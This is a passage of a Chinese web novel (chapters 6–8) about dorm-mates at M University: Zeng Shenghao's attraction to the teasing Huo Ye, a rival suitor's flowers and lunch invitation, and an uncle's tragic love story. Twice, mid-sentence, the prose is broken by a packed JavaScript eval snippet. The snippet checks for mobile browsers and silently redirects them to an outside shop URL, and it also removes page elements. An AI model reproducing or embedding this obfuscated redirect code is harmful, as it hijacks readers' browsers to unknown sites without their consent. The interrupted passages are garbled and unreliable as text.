余光一瞥,水池里飘过来几颗草莓烂果,红彤彤的,果肉红润软烂,有点像今晚霍晔脖颈上的吻痕。 曾盛豪杵着拖把棍儿,强制自己闭了会儿眼。 他不应该这样想霍晔,万一那是人家的正经男友呢? 虽说即便是正经男友,对方那样欺负一个17岁的未成年未免太畜生了,而霍晔在有男友的前提下,也不该随便调戏他,不该喊他亲爱的,但—— 如此品德不端正的两个人谈起恋爱来,他们迟早要分手的。 曾盛豪理顺了逻辑,整个世界仿佛都明亮了几分。 他洗好拖把回到宿舍,一边卖力地墩地,一边想着晚间得多背十页语料才行。 他得多做些工作才能快速稀释掉当下莫名兴奋的心情。 咚咚咚!外面响起一阵敲门声。 “来了!”曾盛豪撂下拖把,小心踩着干地板去开门。 一张俊朗含笑的人脸出现在门口。 “你好,霍晔在吗?” “你是?”曾盛豪皱眉盯着对方那一头挑染的黄毛。 “我是赵茂青。” “我和霍晔今天刚见过面,他知道的。” “他出去了。” “好吧。”男生从身后掏出一束盛放的粉红百合花递过来,笑道:“我宿舍不在这边,这个劳烦你帮我转交。” 6. 第六章 仨人洗澡回来,霍晔找江箫借花露水,花枝招展地对镜扭着脖子,全方位擦着颈间锁骨被咬的蚊子包。 镜子里,曾盛豪把涮好的拖把倚在门后墙根,抿唇犹豫了几秒,然后转身从饮水机上抱起那簇明媚招眼的粉色百合,缓步朝他走来。 霍晔低垂着眼睫,嘴角不禁露出几分矜持笑意。 曾盛豪双手笔直地把花怼到霍晔脸边,平静声线宛若人机:“你男朋友给你的。” 后排吃瓜群众登时爆发出惊叹:“哇——!” 霍晔嗔道:“讨厌,我还没答应你呢。” 曾盛豪:“我说的是赵茂青。” 霍晔笑脸一耷:“哦,他怎么找过来了?” 吃瓜群众默不作声地缩回头去,满脸尴尬各忙各的。 “不知道。”曾盛豪把花往人面前怼了怼,“你的花。” “哦。”霍晔漫不经心地接过来,随手扔在旁边桌上。 曾盛豪皱了皱眉。 霍晔瞥他:“那小子自称我男朋友?” 曾盛豪摇头:“他说你们今天见过面。” 霍晔挥挥手:“我没男朋友。”想了想,他仰头冲人笑:“你还真是保守,以为追求者送束花就可以是男朋友了么?那如果我明天送你束玫瑰呢,sweetheart?” 曾盛豪脸上一红:“你……不是晚上见过他了吗?” “晚上?”霍晔回忆了一下,恍然大悟,立刻开始胡说八道:“晚上我去小树林散步啊,我们才认识一天,我总不能满脑子都是你吧?毕竟你也不是满脑子都想着我。” 然后趁人愣神,他腾一下跳起身,拽下衣领凑近给人看:“呐,没见我这么多蚊子包么?” 曾盛豪被吓得一屁股坐在了床上。 “这是蚊子包啊……” “你以为呢?”霍晔松开衣领,勾起那双桃花眼,笑得意味深长:“Bad boy~~” 曾盛豪别过脸笑,想说点什么,又不知道该说什么好。 “咳咳!”那边江箫大声清嗓,“两位,氛围太浓了,注意一下影响啊!” 曾盛豪被这一声提醒,瞬间回归理智。 他匆忙收拾洗漱用品,埋头换好拖鞋,背对众人丢一句“我去洗澡了”,便如闪电般离去。 屋里,霍晔将花露水还给江箫,哼着小曲儿,踩着梯子往上爬。 对床上铺,姜离好奇问他:“赵茂青是谁啊?” 霍晔“嗐”一声:“一个觊觎我美色的人,不太熟。” 江箫也探头问:“你和曾盛豪是第一天认识吗?” 霍晔笑:“是啊。” 江箫咂舌:“你们进展这么快的吗?” “哪里有进展,只有我追他啊。”霍晔毫不在意道,“你们不觉得追求一个绝对不会和自己在一起的人是一件很享受的事么?” 霍晔闭着眼,宛若诗朗诵般,深情地伸出左臂:“No strings attached, no heartache——”(没有牵绊,没有心痛) 然后缓缓张开右臂,高颂道:“Just the intimacy of lovers!”(只有恋人般的亲密) 江箫看怪物似的瞅着他:“不觉得……” 姜离挠着头:“那你岂不是在骗他?” “哪里骗了?”霍晔睁开眼,一脸认真道:“我真心的。” 江箫彻底凌乱了:“我没太搞懂。” 姜离更凌乱:“我也是。” 霍晔笑笑,叹了口气,一副不愿再深谈的姿态,闭眼盖被子躺下。 “那就晚安吧。” ** 次日学院新生活动,四人跟随班级去体育场内的大礼堂,聆听诸领导谆谆教诲。 另外还有领导专门打电话请过来的、社会财经新闻报上经常出现的几位M大知名校友来发表重要讲话。校友人均福布斯排行榜前五十,皆是给母校捐款5~20亿不等、设立各项助学基金的成功企业家。 诸位董事长身着西装踩着皮鞋,在主席台甫一露面,众学子顿时掌声雷鸣,欢呼声不绝于座。 “马新阳老师!啊啊啊啊偶像看我!您是我偶像——!” “李鹏飞!李董——!我是你脑残粉!我要去你公司上班!我要当你一辈子的手下!” “霍董!霍玉章——!!您简直帅爆了——!” “陈玉松老师——!” …… …… 诸校友面容和气,纷纷笑着冲大家打招呼。 于是众学子更加尖叫疯狂。 主持人拿起话筒,笑声摆手示意:“好了,同学们,接下来就请我们的几位校友分别讲两句吧。” 底下掌声渐熄,众学子屏息凝神笔直端坐,向台上投去炯炯目光。 诸位企业家陆续落座,开始不疾不徐地轮流演讲。 台下观众席,曾盛豪手指反复敲着膝盖,眼风不时瞥向旁边人。 霍晔今天穿得很随性,上身白圆领深红T恤,下身版型宽松的烟灰牛仔裤,脚踩一双千元耐克鞋。他头发吹得蓬蓬的,露着洁白额头,侧脸轮廓精致清晰,显出十足的少年清爽气。 左腕上戴着只卡西欧,搭配一条藏青混黑色的编织手绳,小臂肌肉匀称有力,漂亮白皙至极。 曾盛豪的目光有些迟滞了。没等他开口提想让对方留住宿舍的事,霍晔敏锐的视线先瞥过来,冲他比口型:“有——事——吗?” 曾盛豪皱眉眯起眼,似乎有点观察过度。 他今天才发现,霍晔是个气血很足的人。比如,霍晔嘴唇红润饱满,还有颗像草莓果冻一样的小圆唇珠。 然而他这眸光太深邃、太用力,反倒给对方制造出有敌意的信号。 霍晔心里纳闷,他不晓得今儿个怎么又惹着这祖宗了。 于是仔细复盘了一下从昨晚到今早—— 没调戏、没拌嘴,更没任何肢体接触,唯一的小插曲是: 昨晚半夜他渴了,人又懒得动,于是伸手轻轻敲着下铺床,询问:“亲爱的,帮我接杯水行吗?” 下一秒,江箫和曾盛豪都迷迷糊糊地应了声,两个一八几的大高个子,幽灵一样,在一片漆黑里掀被子下床,不约而同拧下自己的保温杯壶盖,一前一后蹲在饮水机前帮他接水。 江箫打了个哈欠,扭脸问曾盛豪:“你也渴了?” 曾盛豪半睡半醒,抬手指一下窝在被窝打盹的霍晔:“他不是要喝水么?” 江箫困惑瞅他:“可是他敲的是我的床吧?” 曾盛豪在暗夜里和人对视几秒,然后“哦”一声,仰头将手中壶盖里的水一饮而尽,默不作声回床上躺着去了。 清晨大伙儿起床叠被,江箫谈论笑话似的聊起这事,曾盛豪全程面无表情,仿佛昨夜做蠢事的另有其人。 霍晔几根手指飞快敲着膝盖,心想,曾盛豪大才子博览群书学贯中西,按理是有大格局的人,应该不会为这么点儿鸡毛蒜皮的小事记恨他吧? 待领导们演讲完毕,时间将近中午饭点。 偌大礼堂,校方先请诸董事长们离开,再令各新生学院有序撤离。 江箫因为是上过官媒新闻的高考大省的状元,人又懂得积极争取,在外院诸新生还没领教过他家导员庐山真面目的时候,江箫就先被导员委任二班的临时班长。 江箫充分发挥班委精神,赶羊一样,大声喊着“不要拥挤,请大家自觉排成两队”,挥手示意同学们从西南口出去。 霍晔低着头排队跟在后面,一手强行拽着曾盛豪的T恤后衣摆,另一手拿手机看霍玉章刚给他发来的信息: 【转账:20000】 【你刚开学不能太张扬,今天和你们校领导吃饭就不带你了,等下是和新同学吃的第一顿午饭吧,你请大家吃点儿好的】 【曾大使的儿子果然一表人才,比照片上更有几分棱角,不怪你看上他】 【但你们终究是殊途不同路,你要做到时刻心里有数】 霍晔哼哼一声,收了钱,顶回去一句: 【我的好叔叔,您自己还打了半辈子光棍呢,以后少在感情的事上指导我】 霍玉章那边传来一连串【开怀大笑emoji】,回复: 【臭小子,你叔叔爱生爱死的时候,你还没生出来呢】 这是霍晔第一次听他叔叔提起有关爱情方面的事,从小到大,叔叔的恋情及婚事一直都是家人避之不及的话题,霍晔便也不敢轻易问起。但作为一个gay的直觉,他隐约知道叔叔是爱男人的。 他便忍不住好奇问: 【那你爱生爱死的那个人呢?和别人结婚了?】 霍玉章似乎回忆了许久,才缓缓回复: 【他承受不住俗世的目光,告诉我说他想回老家结婚,我本来极不情愿,硬扣着他不让走,可他态度异常决绝,决绝到……令我觉得我和他之间十多年的情谊毫无价值】 霍晔一阵叹息: 【后来呢?你放他走了?】 霍玉章: 【我对他失望至极,于是批准了他的离京调岗申请,他在车子启程发动的那一刻饮弹自杀了】 学生群密集拥嚷,手机“咚!”一声,重重摔落在礼堂殷红的地毯上。霍晔愣在原地,整个大脑嗡嗡的,任由自己的手机被周遭路人踩来扁去。 “霍晔!”耳畔有人冲他喊:“霍晔!你怎么了?!” 曾盛豪察觉T恤后摆被人松开,匆忙一回头,见霍晔呆愣在原地,整个人魔怔得像中了邪一样,眼眶湿红逐渐有细泪淌出,一脸的空洞茫然,立刻就把他吓了一大跳。 曾盛豪连忙帮对方把手机捡起,拥紧着怀里人的肩膀,一路横冲直撞挤出礼堂。 室外草坪广阔,头顶阳光灿烂,微风和煦怡人,拥挤人群慢慢朝四方稀散开来,曾盛豪皱眉看着面前无声流泪的少年,没由来一阵心疼。 他俯身替人擦着泪,轻声问:“和别人吵架了?还是身体哪里不舒服?我背着你去医务室吧。” 霍晔别过脸,冷声道:“别碰我。” 曾盛豪于是放心笑起来:“说话中气十足的,看来只是吵架了。” 霍晔差点没忍住又掉几滴泪,瞪他一眼:“你闭嘴行不行?” 曾盛豪莫名其妙,但又不忍心责怪,只好低头掏出对方布满脚印的脏手机,拿湿纸巾仔细擦起来。 霍晔擦干眼泪,盯着他看了一会儿,又喊他:“盛豪哥。” 曾盛豪不情不愿地“嗯”了一声。 霍晔吸吸鼻涕,往前走了两步:“你抱我一下。” 曾盛豪连忙警惕后退两步,认真摇头:“不太好。” 霍晔不乐意道:“你刚才都抱过我了!” 曾盛豪正要辩解,那边江箫和姜离隔着老远冲他俩喊:“同志们!走了!食堂吃饭去!” 曾盛豪如蒙大赦,挥手应了句“来了!”,然后扭回头,一双浓眉大眼眨呀眨,目光希翼地望着霍晔的脸色。 霍晔没忍住噗嗤一声笑起来,莫名觉得这死直男挺可爱。 “今天暂且放你一马。” 霍晔从曾盛豪手中接过干净如新的手机,举在太阳光下打量一番,不禁感慨起小曾做事认真。 霍公子说,就冲小曾这一丝不苟的态度,想必贴膜技术也不错,赶明儿个他再想换新手机贴膜,就打算找小曾代劳了! 小曾没反抗,只是一味地望着他笑:“你高兴就行。” 俩人这边有说有笑,不远处江箫姜离很有默契地不来靠近,直到身后传来赵茂青一声喊: “霍晔!站住!” 霍晔叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521254|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气,转身回头冲人喊:“干嘛啊!” 曾盛豪自动站得离霍晔远了点儿。 江箫姜离齐刷刷涌过来,他们很想见识一下霍晔追求者的魅力。 赵茂青两手插兜,领着俩跟班儿踱步过来,对众人笑道:“你们是去吃饭吗,大家一起吧!新荣记还是潮上潮?或者官府菜?我请。” 霍晔不屑嗤了声,公子哥儿脾气上来:“我搁这儿呢,轮得到你请?” 赵茂青笑了声,冲曾盛豪点头示意。 曾盛豪扯扯嘴角,回敬点头。 赵茂青就问霍晔:“昨天的花收到了吧?” 孙天和王麟在他身后一脸暧昧地嘿嘿傻笑。 王麟举手邀功道:“茂青哥没经验,花还是我挑的呢!” 赵茂青二话不说踹他一脚:“该说说,不该说别乱说!” 霍晔嫌弃无比:“你们别整这套行不行,都快二十的人了,还成天跟群小学生一样,没正事儿干了么?” 赵茂青便道:“不是你想的那样。” 霍晔抱起臂审视:“那你这要闹哪样?” 赵茂青望着他:“我知道你讨厌我,我心里有数,昨晚送花也没那意思,我只是想向你正式的道歉。” 霍晔想了想,点点头:“行吧。” 赵茂青又笑起来,问:“你原谅我了?” 霍晔瞥他:“本来就没打算跟你计较。” 这边江箫胳膊肘怼了下曾盛豪,小声道:“心胸还挺宽广。” 曾盛豪一语不发皱起眉。 赵茂青嘴角越咧越大:“那……我们以后是不是又可以一起玩儿了?” 霍晔挥手做驱散状:“再说吧,走走走,跟黄毛玩儿显得本公子太掉价。” 赵茂青不服,说:“我这叫冷调金,多衬我白皮肤色!” 又指着姜离那一头青蓝卷毛,控诉道:“他还染得跟蓝精灵一样呢,你怎么不说他?” 姜离更不服,嚷道:“你才是蓝精灵,我这是雾霾蓝灰!花两千多染的高级发色,一般人还驾驭不了呢!” 霍晔懒得看他们小学鸡吵架,他早上没吃饭,眼下饿得要翻白眼,赵茂青又在旁边义正辞严强烈要求,说霍晔要是不同意让他请吃饭,那就是瞧不上他赵茂青!就是小心眼儿!记仇! 于是霍晔给了赵茂青一个展示他那辆漆黑锃亮奥迪A6L的机会。 官家子弟又是学生身份,他们最常开的就是奥迪,三四十万不张扬,低调奢华又有派头。赵茂青边走边跟霍晔讲,他新车副驾除了爹妈没让其他人坐过,待会霍晔就坐副驾。 “这车我也开不了几年,前两年修完学分,等大三我就入伍去了。”赵茂青说,“你平时想开着玩儿就来找我拿钥匙,要是开着顺手,我回头就送你了。” 霍晔望着他,眼底一阵羡慕:“你也要入伍去了?” 赵茂青被这含情脉脉的眼神迷得晕头转向,不自觉伸手搂住对方肩膀,轻声道:“毕竟是咱们打小的志向。小晔,我知道你心里郁闷,不过塞翁失马焉知非福,你能力比我们几个都强,以后不差没有施展拳脚的地方。” 霍晔笑叹一声,说:“我知道。” 然后“啪”一下不客气打掉他手,斜眼瞥他:“你这车,坐得开我们这么多人么?” “这有啥!”赵茂青转过头吆喝:“天儿,麟儿,你俩打车成不?车费我报销。” 孙天王麟巴不得给他们茂青哥凑机会,连忙“嗐”一声:“这有啥!” 说着,哥俩儿勾肩搭背宛若哼哈二将,大摇大摆着朝校门外走了。 赵茂青走到车后座,帮曾、江、姜三人给开车门,笑声示意:“大家先上车吧。” 江箫冲赵茂青点头笑,说:“那我们就不客气了。” 然后连哄带骗,拎着还有点儿跟赵·黄毛闹别扭的姜·蓝精灵上车。 曾盛豪立在原地:“不好意思,我突然想起还有事,就不去了。” 赵茂青讶然:“大中午饭点儿能有啥急事儿?” 曾盛豪越过他视线,平静地看向霍晔:“我去教务处拿免修申请表。” 霍晔正开副驾门,扭头和人对视一眼。好半晌,他笑了声:“行,你去吧。” 几乎立刻,曾盛豪便对这个人产生一种无名的失望。 赵茂青还是示意曾盛豪上车,说:“教务处离这边太远了,你走路得半个多小时呢,我先开车把你捎过去吧。” “谢谢,不用麻烦了。”曾盛豪铁直板板地说完,然后铁直板板地迈着步子离开。 车里,姜离指着那人远去的孤单背影,扭头问江箫:“他是不是吃——” 江箫眼疾手快把人嘴紧紧捂住,眼神示意:“少说两句,你不想吃饭我还想吃呢!这都十二点半了,咱们再不出发,我下午两点就来不及组织大伙儿搬军训服了!” 姜离于是老实巴交地又坐回去。 话虽这么说,毕竟是一个宿舍的,江箫心里也很不是滋味。 待赵茂青发动车子,江箫抬眼望向前方后视镜,发现霍晔撑着下巴,百无聊赖地望着窗外,一脸的漠然冷淡。 江箫皱了皱眉。 这两位不知道打哪儿来的豪门阔少,从一开始见面就出手阔绰谈吐不凡,但俩人自始至终都怪怪的。 曾盛豪“怪”得很明显,霍晔却“怪”得令人看不透他到底在想什么。 江箫想了想,没忍住掏出手机给霍晔发信息: 【你昨晚不是说真心的吗?】 手机嗡嗡两声,霍晔掏出手机。 指纹落在黑屏上,整洁的机身似乎还遗留着那人贴身湿巾的洋甘菊淡香味。 他看到消息,不屑笑了声: 【真心的又怎么了?真心又不是给他当狗。】 江箫关掉手机,彻底无话可说。 7. 第七章 教务处中午没老师,倒有个忙得焦头烂额的学姐在整理资料。 曾盛豪立定在门口,侧手敲了几下门,喊:“报告,我想拿几张免修申请表。” 那学姐头也不抬:“现在老师出去了,同学你下午再来吧。” 曾盛豪午饭都没顾得上吃,一口气狂走四公里,他不想就这么前功尽弃,执拗道:“老师几点来上班?我在这里等他们。” 那学姐闻声抬头,见门口男生T恤近乎全湿,一张俊脸沾满红汗,连忙诧异起身:“弟弟,你跑来的啊?” 曾盛豪拿湿巾擦着脸,不禁有些羞愧:“不是,外面有点晒。” 那学姐笑了声,冲他指向屋内一个离空调近的办公座椅:“你先坐这凉快会儿吧。” 正值暑期,为了证明赵茂青那辆破A6是个可有可无的存在,曾盛豪硬是顶着酷阳在校园暴走二十分钟,浑身着火一样。 他也没客气,冲人道了句“谢谢学姐”,然后快步走到空调下吹冷风。 “诶,”学姐提醒,“也别离太近,万一发烧就不好了。” “没事。”曾盛豪扭头问:“学姐,老师几点过来?” “两点,还有差不多一个小时呢。” 学姐拿一次性纸杯给他接了杯热水,朝他走过去,笑问:“哪个学院的?” 曾盛豪道谢接过,答:“外院的。” 学姐上下打量着他,笑:“哪个班的?” 曾盛豪撂下水杯,不动声色后挪两步:“二班的。” 学姐笑意更深,转身走回她自己的座位,敲着电脑问:“你刚才说要拿免修申请表?是想拿雅思托福分免修公共课吧。” 曾盛豪:“是。” 学姐撩了下头发,抬眼笑望他:“你是今天第十二个来问这事的学生,但是很遗憾,新学期咱学校政策变了,没有换分免修制了,只是还没发布正式通告。” 曾盛豪皱起眉:“但是新生群里的学长说可以,而且学校官网上历年都——” 学姐打断:“再历年也不是今年,学校也要改革创新,与时俱进嘛。” 见男生眉头紧蹙,一脸苦大仇深的样儿,学姐笑得不行。 她挥挥手,说:“行了,不逗你了!等新生军训过后,嗯……大概一两天这样子,学院会正式通知有分级考试,你要是能一举迈入四级,只会免修更多的低阶基础课。” “新政策会比你刚才提到的老传统更有针对性、更有效率。” 曾盛豪立刻大喜过望:“好!” 然后说句“谢谢学姐!”转身拔腿就走。 他要把这个好消息告诉霍晔! 嗯,还有江箫和姜离。 “诶,同学!”学姐起身喊他:“站住!” 曾盛豪刚迈出门的两条大长腿又倒退回来,扭身茫然看着她。 “咱俩加个联系方式,”学姐抬着手机二维码就走了过来,“微信有吧?你扫我。” 曾盛豪上下打量她,目光怀疑:“你是学姐么?” “我不仅是学姐,还是你嫡系学姐。”学姐没好气道:“放心吧,我大四的,都快离校了,就是瞧着你帅点儿,不会对你怎么样的。” 学姐是一双杏眼美眸,全然不同于忽然闪现在他脑海中的、那一双狭长含笑又意味深长的桃花眼。 曾盛豪沉默。 “学弟,学姐就想加你个联系方式又不是要吃了你,”学姐无奈,“我午饭还没吃呢,我们大四还没开学我就被老师喊来了,这几天你们开学,我从早到晚的在这儿零薪打杂干活儿,我给自己谋点福利不过分吧?” “这……”曾盛豪蛮诚恳地望着她,“似乎跟我没有关系。” 学姐不禁尬笑感慨:“真是冷漠的人啊……” 于是曾盛豪礼貌地和学姐道别说再见,礼貌地捂着手机离开。 下午一点四十,食堂只剩残羹剩饭,但贵价区仍保留部分套餐。 曾盛豪买了份有点凉掉的牛腩饭,又去自助贩卖机买了瓶苏打水,端着餐盘到窗边单人座吃饭。 一边舀着勺子吃饭,一边点开宿舍群,找到霍晔的头像。 他在好友申请“打招呼内容”认真编辑着学姐刚才说过的分级考试,继而反复审稿,确认这段信息没有丝毫引申含义。 点击发送! 霍晔几乎一秒通过好友申请,并发来回复: 【谢谢,辛苦了】【红玫瑰】 曾盛豪嚼着牛肉笑了声,不时戳一下屏幕维持亮度,耐心等待。 对方没有下文了。 曾盛豪叹了口气,心想真是喜新厌旧啊。 关掉手机,食不知味地把饭吃完了。 吃饱饭,胃却不是很舒服。 食堂米饭是统一供应的廉价珍珠米,煮出来黯淡发黏—— 曾盛豪进校前没关注过饮食问题,他以为M大食堂米饭最差也会是黑龙江五常大米级别。 牛腩就更别提了,不新鲜也没嚼劲,汤底酸得他牙龈疼,也没有放他最喜欢的薄荷叶,料想这要么是汤包预制菜,要么就是烂番茄扔进去炖的。 土豆也是没削皮的,块头比牛腩还大,吃了夹生、牙碜,难以下咽。 这居然还是贵价区? 窗口保温台看似烧着热气,诸多菜品表面却早已凉成塑型。 曾盛豪面上不动声色,内心嫌弃无比。 他如果每天都吃这种饭,每月得跑多少趟牙科和肠胃科? 江箫的信息就在这时发来。 一张照片:在出租车后座中间,一提袋打包好的两摞新荣记饭盒。 曾盛豪立马回复: 【我已经吃过午饭了】 江箫: 【当晚饭吃呗,可以用食堂微波炉热】 曾盛豪: 【不好意思,我没有吃别人剩饭的习惯】 江箫: 【大哥,谁舍得让你一个大少爷吃剩饭啊?】 【这是新点的,六个菜,一千三呢,专门给你带的】 曾盛豪: 【不需要】 江箫: 【这是霍晔给你点的】【死亡微笑emoji】 曾盛豪: 【里面包含米饭吗?】 ** 下午两点半,姜离提着打包饭盒准时出现在宿舍门口。 自打609宿舍建设以来,霍晔和曾盛豪二人气氛太浓,姜离很自然地就和江箫走得比较近。江箫仿佛天生自带兄长风范,把姜离当亲弟弟疼,更把姜离当奴仆一样随意使唤。 霍晔每时每刻的脸谱都不一样,气场千变万化,但对待室友随性慈和,姜离第二个就亲近他。 但从始至终和曾盛豪不太熟。 俩人在宿舍遇上,姜离把饭盒撂曾盛豪桌前,语气犹如念作文:“哥哥,你的饭。” 曾盛豪刚洗澡换了睡衣,正吹着空调、戴着耳机,低头掀着自印的语料库做精听,蛮随意地“嗯”了一声。 姜离越过他,“哗啦”一下把窗帘拉上,然后甩掉两只球鞋,打着哈欠爬梯子去曾盛豪的上铺。 宿舍骤然陷入漆黑,曾盛豪看书的光没了。 脚边还滚过来一只鞋。 曾盛豪便摘掉耳机,起身望向上铺问:“你要睡觉了?” 姜离跪坐在床头,手指抠着左右眼的高度近视隐形眼镜:“没呢,玩一局游戏再睡。” 曾盛豪探头:“那我再拉开十分钟的窗帘可以吗?” 姜离回过头,目光有点幽怨:“好像不太行。如果没有氛围,我会一直都睡不着的。” 曾盛豪便撺掇:“你怎么不去领军训服?” 姜离“嗐”一声:“江箫在那儿呢,他帮我们拿回来啊。” 曾盛豪敏锐捕捉关键词:“们?” “对啊,”姜离舒舒服服地躺进被窝打游戏,随口道,“下午没别的事儿,霍晔和赵茂青他们去唱K了,晚上他们四个还要再单独聚一顿,聚完还说要去打台球呢!” 曾盛豪不禁冷哼一声,心想,真是近墨者黑,不务正业。 霍晔和他在一起的时候,俩人就只聊学习。 姜离打着游戏,好半晌才回过脑子。 他料想这嘴硬闷骚男又要吃醋,连忙关掉游戏,一骨碌爬起来,从床头书包翻半天,将一个折叠灯递给曾盛豪。 “哥哥,”姜离冲他笑,“我偶尔做直播赚点儿外快,这是我的补光灯,给你学习用。” “不用了。” 补光灯再亮,哪有自然光明亮护眼? 但宿舍毕竟不是他一个人盖的,这又是午睡时间,曾盛豪倒也明白自己不能强求。只是他洗完澡后惯例都会学一会儿,那种穿着蚕丝贴身睡衣、浑身轻松干净的感觉,会令他大脑运转的效率格外高。 他总不能穿着睡衣去图书馆吧。 姜离瞧出他表情不太对。 突然想到在出租上瞄到江箫的聊天框,他冲人暧昧一笑:“你是喜欢霍晔吧。” 曾盛豪恍若未闻,只一味板起脸: “我是十八岁半,你是十六岁,咱们才差两岁半,年龄差完全可以忽略不计,你以后直接就叫我名字吧。” 姜离一听这,立马深以为然点点头:“行!” 又哼哼道:“都是我爸妈非逼着叫的,我也觉得我一大老爷们儿,老成天跟在你们同龄人屁股后面这么喊,显得我跟个小傻逼似的。” 曾盛豪:“……” 他不晓得蓝精灵私下这样粗犷。 “不止我,”曾盛豪继续道,“你也不要喊江箫他们哥哥了,都差不了几岁的。” 姜离求之不得,瞬间雄风振起:“好!” 托姜离的福,曾盛豪没再看书了。 他整理好桌面,把饭盒提袋拿得离空调远些的位置,然后俯身帮姜离把鞋摆好,去水房洗了个手,回来躺下午睡。 他昨晚后半夜没睡好,因此午睡一觉睡到快七点,直到姜离喊他起床一起去吃晚饭。 原本曾盛豪是不想动的,躺在枕头上闭着眼装死,宿舍拉窗帘后阴沉沉的,总觉得少点鲜活气。姜离一直推搡他,在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521255|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳畔嚷,说,早点去食堂打饭,不然他们连微波炉也抢不上了。 他们? 曾盛豪不禁在心里无声反驳,霍晔不是只给他一个人买的么? 反驳完,又立刻在心里批评自己。 他平时是有些自私,但不至于太抠门,况且六个菜,本来他一个人也吃不完。 姜离见他始终没反应,只好作罢。 他垫脚拔着上铺的手机充电线,小声叽咕着:“真能睡啊,我下午在图书馆都学仨小时了,你这个在宿舍学习的还没醒。” 曾盛豪腾地一下掀被子跳起来。 “你去图书馆怎么不喊我!” “卧槽!”姜离吓一大跳,喊道:“你早醒了啊!亏我还特地跑回来叫你呢!” 曾盛豪不禁一阵惭愧。 “不好意思,睡太熟了。”他主动摸摸对方的蓝卷毛,哄道:“给江箫发个信息,我们一块儿去食堂吃饭吧。” “他去阶梯教室开会了,”姜离低下头,好奇地摸着他光滑的蚕丝缎面睡衣,“要忙明天军训安排的事。” “那就只剩我们两个了。”曾盛豪叹了口气,扭头看了眼桌上手提袋,心底油然而生一种孤儿寡夫的怅惘。 姜离却很高兴宿舍还剩给他这么一个大闲人。 晚饭有丰盛大餐不说,曾盛豪还答应陪着他去理发店染头发。 毕竟明天军训,统一服饰,统一发色,没得商量。 其实去食堂路上,曾盛豪本来说晚上要去图书馆学习的,但俩人一到食堂微波炉准备热饭,曾盛豪发现里面只有一份米饭。 于是曾盛豪就挺抱歉地问姜离,你能不能自己再去打一份米饭? 姜离觉得这是理所应当的事,于是屁颠屁颠地先帮俩人占好位置,端着餐盘就去窗口打了两毛五的米饭。 饭间,曾盛豪目光频频瞥向他餐盘,犹豫良久,而后决然道:“我晚上还是陪你去染发吧!” 姜离很欣喜地点头:“行啊,你人还挺好呢。” 于是“人还挺好”的曾盛豪同学心里稍微平衡下来。 吃完饭,俩人慢悠悠地散着步去理发店。 曾盛豪把分级考试的事给姜离说了,二人一番讨论,觉得三级班才是他们最优选,既能免修部分课,也能轻松拿满分绩点,宿舍四人还都能在一起。 正聊着,曾盛豪裤兜手机震动两下,霍晔给他发两条消息: 【人在哪儿】 【我宿舍钥匙忘带了】 曾盛豪顿了顿,缓缓伸手把聊天框拿给姜离看。 姜离了然,又冲他一脸暧昧地笑:“你去开门吧,我自己去染发好了。” “你别总是这种表情,”曾盛豪严肃声明,“我没那意思。” “唉,你这人,”姜离挥挥手,单手插兜自顾自走了,“真是一点都不成熟。” 曾盛豪:“……” 曾盛豪一路急速小跑回宿舍,刚上六楼,老远便见霍晔蹲坐在门口,一身红T恤黑牛仔小白鞋,像只软萌娇白的小猫,埋脸抱着膝盖打瞌睡。 胸腔里一颗心猛地被谁攥紧似的,不敢跳动。 “霍晔……”他缓缓靠近蹲下,隔着一层绵红布料,将自己有些发颤的掌心搭在对方微凉的肩膀上。 霍晔眯眼抬起头。 扑面而来一阵熏人的烟酒气。 曾盛豪一刹那恢复知觉,不禁皱起眉:“你喝酒了?” 霍晔见他一脸嫌弃样儿,立刻起身推他一下:“那你就离我远点儿啊。” 曾盛豪拧钥匙开着门,忍不住扭头教训道:“你还没成年呢,你这是违法!” 霍晔翻了个白眼:“我一没坑蒙拐骗,二没杀人放火,你看不惯就去公安局告我,看警察叔叔觉得咱俩谁是神经病!” 说完,抬腿就要迈进屋。 曾盛豪横身一挡,撑臂按住门框,把他拦在外头。 霍晔挑眉:“干嘛?” 曾盛豪正色道:“霍晔,我认为赵茂青不是个好人,你以后还是少和他这种人掺和在一起。” 霍晔噗嗤一声笑出来。 “那谁是好人,你么?”霍晔干脆抱臂倚在他手背上,眸底笑意深邃。 然而隔着曾盛豪的薄T恤,他泛凉裸露的肘臂感受着对方胸膛热量,心脏就不受控制地轻轻颤动起来。 于是故作轻浮笑意的脸上便笼上几分不自然的羞赧。 他轻哼一声,伸手指戳了两下对方咪咪:“Bad boy,我真不知道你每天脑子里在想什么!” Bad boy无动于衷,只一脸认真道:“我只是觉得,如果他真心喜欢你,珍惜你,他就不会让你吸二手烟。” 霍晔这下真诧异了:“啥玩意儿?” 曾盛豪:“你身上一直有他的味道。” 霍晔:“???啥?” “总之——” 曾盛豪毫无征兆抽回手,任由怀里人脑袋“咚!”一声磕在门框上,头也不回地转身进屋: “你这么聪明的人不该做这么愚蠢的事。” 8. 第八章 大清早五点半,M大新生们集体坐学校大巴去军训基地。 霍晔是过来人,很早就提醒609室友们,虽说会免费发放被褥,但他们不想闻怪味道的话,最好还是自备床上四件套。 江箫和姜离自打新荣记那顿饭就瞧出霍晔来头不一般,尤其江箫,头天晚上逮住霍晔问东问西,再以小道消息透露给本班同学,帮大家做好万全之测,以此深得民心。 